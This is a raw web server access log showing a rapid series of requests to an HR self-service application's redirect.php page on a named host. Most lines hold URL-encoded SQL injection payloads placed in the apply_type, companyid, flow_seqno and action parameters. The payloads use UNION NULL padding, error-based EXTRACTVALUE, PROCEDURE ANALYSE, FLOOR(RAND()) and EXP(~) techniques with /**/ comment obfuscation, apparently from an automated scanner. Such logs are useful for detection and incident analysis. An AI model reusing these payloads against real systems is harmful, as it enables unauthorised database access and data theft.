100.64.0.1 - - [07/Sep/2025:02:22:24 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x4e655867%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x64777657%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FMSQw%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:24 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x4e655867%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x64777657%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FMSQw%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:24 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2FANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x6c593657%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x59304a66%29%29%2C1%29--%2F%2A%2A%2FRtrb&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:24 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:24 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:24 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:24 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:24 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:24 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2FORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x5964784f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7a575653%29%29%2C1%29--%2F%2A%2A%2FaYTC&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:24 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:24 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x53423042%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x65325965%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2F8lRX&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:24 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:24 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x33306b64%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x736d6a31%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2FMKub&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:24 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:24 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x3363685a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4d7a5936%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FYdES%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:24 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x3363685a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4d7a5936%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FYdES%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:24 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x55544b51%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x35685045%29%29x%29%29--%2F%2A%2A%2FYTBJ&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:24 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x55544b51%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x35685045%29%29x%29%29--%2F%2A%2A%2FYTBJ&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:24 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:24 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x516b4357%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x70644354%29%29x%29%29--%2F%2A%2A%2FUcBe&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:25 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:25 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:24 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:24 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:25 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:25 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:24 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x4247637a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x55786537%29%29%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FIpl9%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:24 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x4247637a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x55786537%29%29%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FIpl9%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:25 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:25 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:25 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:25 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:24 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x73485463%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x48724a6a%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FnvOr%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:24 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x73485463%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x48724a6a%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FnvOr%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:25 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:25 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:25 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:25 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:25 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x4b774c53%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6b5a436f%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FAJLW%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:25 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x4b774c53%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6b5a436f%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FAJLW%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:25 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x54656d79%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7a453644%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FdHhF%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:25 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x54656d79%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7a453644%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FdHhF%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:25 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x62363133%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x61495162%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FOVLb%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:25 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x62363133%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x61495162%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FOVLb%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:25 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x55544b51%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x35685045%29%29x%29%29--%2F%2A%2A%2FYTBJ&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:25 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:25 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x654d6935%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7643706b%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F2cBW%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:25 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x654d6935%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7643706b%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F2cBW%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:25 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x76306479%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x72307073%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FtHfn%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:25 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x76306479%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x72307073%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FtHfn%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
